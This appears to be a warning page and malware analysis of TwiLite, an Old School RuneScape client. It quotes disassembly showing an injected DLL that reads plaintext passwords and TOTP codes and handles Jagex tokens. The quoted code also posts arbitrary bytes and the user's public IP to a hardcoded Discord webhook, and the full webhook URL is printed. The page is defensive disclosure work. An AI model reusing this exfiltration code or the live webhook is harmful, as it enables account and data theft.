Login secrets
Native getPassword / getTotp read plaintext fields out of the Jagex client object.
TwiLite from twilite.dev is a closed-source Old School RuneScape client.
Its launcher, twilite_loader.exe, injects twilite_loader.dll into the Jagex client.
We reversed that DLL in IDA Pro with twilite-bot.jar: it exposes plaintext password and TOTP,
handles Jagex access/refresh tokens, and can POST files plus your public IP to a hardcoded Discord webhook.
“Anyone that fucks with me will not end up in a good spot btw”
twilite_loader.dll, and check bank/trades.
TwiLite is an OSRS client and plugin marketplace hosted at twilite.dev.
The public site is login-walled, so search results often show a “TwiLite Marketplace Error” login page.
The Windows download from twilite.dev/download is twilite_loader.exe.
That injector loads twilite_loader.dll into Jagex / Steam OSRS and runs twilite-bot.jar
(TwiLite Native) against Jagex accounts.
It is not RuneLite. If you were pointed here while looking up TwiLite, TwiLite client, TwiLite OSRS, or “is TwiLite safe?”, read the FAQ and do not install the launcher.
After a second account was taken, one user dumped the injected DLL. Source: r/RunescapeBotting — Warning: Think Twice Before Using TwiLite.
TwiLite injects its own dll directly into the Jagex client and hooks into the authentication process.
Inside twilite_loader.dll, TwiLite defines a native function called mlp. Give it a byte array and it spins up a separate thread, packages those bytes into a file called mlp.bin, and sends it directly to a hardcoded private Discord webhook along with your public IP from api.ipify.org.
The same injected dll exposes native access to the account's plaintext password and TOTP, in addition to handling the Jagex authentication tokens.
Verified in twilite_loader.dll with IDA Pro, then confirmed against twilite-bot.jar.
Native getPassword / getTotp read plaintext fields out of the Jagex client object.
Access and refresh tokens are written into JX_ACCESS_TOKEN and JX_REFRESH_TOKEN.
mlp uploads arbitrary bytes as mlp.bin. debug posts your public IP from ipify.
This is not a vibe check. These are the strings and instructions in the injected 64-bit DLL, plus the Java native declarations from the bot JAR.
mlp. Give it a byte array and a string.public static native void debug(); public static native void mlp(byte[], java.lang.String);
18002e64f lea rdx, aDevTwiliteBrid ; "dev/twilite/bridge/NativeBridge" 18002e656 call qword ptr [rax+30h] ; JNIEnv::FindClass 18002e748 mov r9d, 15h ; 21 native methods 18002e74e lea r8, off_1800E2120 ; JNINativeMethod table
name "mlp" @ 0x1800bc754 signature "([BLjava/lang/String;)V" @ 0x1800bc758 fnPtr sub_18002C4A0 @ 0x18002c4a0
18002c588 call qword ptr [rax+558h] ; GetArrayLength 18002c5c0 call qword ptr [r10+640h] ; GetByteArrayRegion 18002c6a4 lea r8, StartAddress ; 0x18002C910 18002c6af call cs:_beginthreadex 18002c6d9 call _Thrd_detach
user: , then POSTs the bytes as mlp.bin.18002c910 StartAddress: 18002c919 call sub_18002CB00 18002cbfa mov eax, cs:dword_1800BCA0C ; "user" 18002cc02 movzx eax, cs:word_1800BCA10 ; ": " 18002cc17 call memcpy ; append Java string 18002cc29 call sub_18002D630 ; HTTP POST
"Content-Disposition: form-data; name=\"files[0]\"; filename=\"mlp.bin\"" "\",\"attachments\":[{\"id\":0,\"filename\":\"mlp.bin\"}]}" "user: "
18002d42a lea rcx, pszAgentW ; "TwiLite NativeBridge/1.0" 18002d43e call cs:WinHttpOpen 18002d450 mov r8d, 1BBh ; 443 18002d461 lea rdx, aDiscordCom ; "discord.com" 18002d46b call cs:WinHttpConnect 18002d491 lea r8, aApiWebhooks152 ; "/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq"
0x1800bc440 "discord.com" 0x1800bc460 "/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq" 0x1800bc790 "TwiLite NativeBridge/1.0" https://discord.com/api/webhooks/1526046970341490803/WKWfWHpV2I4Il7ZXRx4_LtHtWrJLx4q7x6d7GPv4ciM_CMcSLIWEeiGhLTKGFziDDasq
debug() GETs your public IP, wraps it in {"content":"..."}, and POSTs it to the same webhook.18002ce4e lea rcx, pszAgentW ; "TwiLite NativeBridge/1.0" 18002ce55 call cs:WinHttpOpen 18002ce6c lea rdx, pswzServerName ; "api.ipify.org" 18002ce76 call cs:WinHttpConnect 18002ce99 lea r8, pwszObjectName ; "/" 18002cea0 lea rdx, pwszVerb ; "GET" 18002ceaa call cs:WinHttpOpenRequest
NativeBridge.debug() while scanning extra plugin JARs. That path sends IP, not password.invokestatic dev/twilite/client/plugins/$18aki2r.$14$1w642rb:()V ; which is: invokestatic dev/twilite/bridge/NativeBridge.debug:()V
"getPassword" @ 0x1800baa78 "setPassword" @ 0x1800baa88 "getTotp" @ 0x1800baa98 "setTotp" @ 0x1800baaa0 "setJxAccessToken" "setJxRefreshToken"
180019900 push rbx 180019909 call sub_18003A2D0 ; client instance 180019911 lea rdx, [rax+0CD78C8h] ; password field 18001991d jmp sub_1800392D0 ; NewStringUTF
18001a920 lea rdx, aJxAccessToken ; "JX_ACCESS_TOKEN" 18001a927 jmp sub_1800269E0 ; SetEnvironmentVariableA 18001a950 lea rdx, aJxRefreshToken ; "JX_REFRESH_TOKEN" 18001a957 jmp sub_1800269E0
The original Reddit warning, TwiLite staff calling it “AI cope,” and the developer threatening anyone who reverse-engineers the client.